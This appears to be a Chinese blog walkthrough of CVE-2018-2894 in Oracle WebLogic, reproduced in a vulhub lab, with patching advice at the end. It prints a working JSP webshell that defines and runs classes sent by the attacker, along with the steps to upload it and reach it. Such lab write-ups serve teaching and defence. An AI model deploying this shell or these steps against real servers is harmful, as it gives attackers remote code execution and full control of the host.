Weblogic 任意文件上传漏洞(CVE-2018-2894)

1 漏洞描述

CVE-2018-2894漏洞存在于Oracle WebLogic Server的Web服务测试页面(Web Service Test Page)中。这个页面允许用户测试Web服务的功能,但在某些版本中,它包含了一个未经授权的文件上传功能。攻击者可以利用这个漏洞,上传恶意的JSP或其他可执行文件,并在服务器上执行这些文件,从而获得服务器的完全控制权。

受影响的WebLogic Server版本包括10.3.6.0、12.1.3.0、12.2.1.2和12.2.1.3。漏洞影响的页面路径为/ws_utc/begin.do/ws_utc/config.do

2 漏洞原理

攻击者首先通过访问/ws_utc/config.do页面,更改工作目录,将存储JKS Keystores的文件目录替换为有效的WebLogic Web路径。然后,攻击者可以上传恶意的JSP脚本文件到该路径。一旦文件上传成功,攻击者就可以通过访问最终的JSP文件路径地址来执行代码。

3 vulhub靶场漏洞

进入漏洞文件
cd vulhub/weblogic
启动漏洞环境
docker compose up -d
查看端口
docker-compose ps

访问 ,您将看到页面,表示环境正在成功运行。

4 漏洞复现

扫描这个7001weblogic漏洞端口下有什么目录,发现存在/console/、/bea_wls_internal/目录

执行docker compose logs | grep password可查看管理员密码,管理员用户名为weblogic

得到账户为weblogic 密码为XwufFm4T

这里我们需要访问一个任意上传jsp文件漏洞功能点的目录位置,扫描目录的时候没有扫出来,但是你上网搜素这个CVE-2018-2894都是可以找到这个目录名字的,/ws_utc/config.do(未授权访问)

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,所以我们想要利用这个任意jsp文件上传漏洞,需要手动在刚才的登录进去的页面里面把一个web服务开启,然后才可以利用。

第一步 点击base_domain,后点击这个高级

第二步 把这个web服务勾上,然后再点击保存

第三步 修改ws_utc/config.do下的当前的工作目录

/u01/oracle/user_projects/domains/base_domain/tmp/WSTestPageWorkDir

改为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css


第四步 利用中国蚁剑生成jsp木马文件

网上找的jsp木马文件,但是蚁剑生成shell不知道什么原因链接不到

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("fafa");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

第五步 保存为shell.jsp文件

第六步 上传shell.jsp木马文件

第七步 利用bp抓包,然后找到这个上传文件的时间戳,如果有好多个,那么就取最后一个时间戳,然后这个jsp木马上传的位置目录如下,

http://192.168.135.132:7001/ws_utc/css/config/keystore/1715590670525_shell.jsp


第八步 用中国蚁剑链接

5 使用python脚本探测漏洞

下面是对给定代码添加注释的版本:
​
python
import requests  # 导入requests库,用于发送HTTP请求  
  
# 定义两个目标URL,这两个URL可能是存在安全漏洞的Web服务的API接口  
url1 = 'http://192.168.135.132:7001/ws_utc/config.do'  
url2 = 'http://192.168.135.132:7001/ws_utc/begin.do'  
  
def poc():  
    # 定义HTTP请求的头部信息  
    headers = {  
        'Content-Type':'text/html; charset=UTF-8',  # 设置内容类型为HTML,并指定字符集为UTF-8(尽管是GET请求,但此头部信息可能不是必需的)  
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0'  # 伪造的User-Agent,模拟常见的浏览器行为  
    }  
  
    # 发送GET请求到url1  
    res1 = requests.get(url1,headers=headers)  
    # 发送GET请求到url2  
    res2 = requests.get(url2,headers=headers)  
  
    # 检查两个请求的响应状态码是否都是200(表示请求成功)  
    if res1.status_code == 200 and res2.status_code == 200:  
        # 如果都是200,则打印出存在某个CVE(可能是CVE-2018-2894,但注释中未明确指定)的消息  
        print("存在CVE-2018-2894(或其他未指定的安全漏洞)")  
    else:  
        # 如果不是,则打印出不存在此漏洞的消息  
        print("不存在此漏洞")  
  
# 当这个脚本作为主程序运行时,执行poc函数  
if __name__ == "__main__":  
    poc()

结果

6 修复建议

为了修复这个漏洞,你可以采取以下措施:

  1. 升级到Oracle WebLogic Server的最新版本。新版本已经修复了这个漏洞。

  2. 如果无法立即升级,你可以通过配置WebLogic Server来限制对/ws_utc/begin.do/ws_utc/config.do页面的访问。你可以要求用户进行身份验证才能访问这些页面,或者完全禁用这些页面。

  3. 使用IPS(入侵防御系统)等安全设备来监控和阻止针对这个漏洞的攻击。这些设备可以检测并阻止恶意文件上传和远程代码执行的行为。

  4. 定期审查你的WebLogic Server的安全配置和补丁更新情况,确保你的系统始终保持最新的安全状态。

  • 11
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值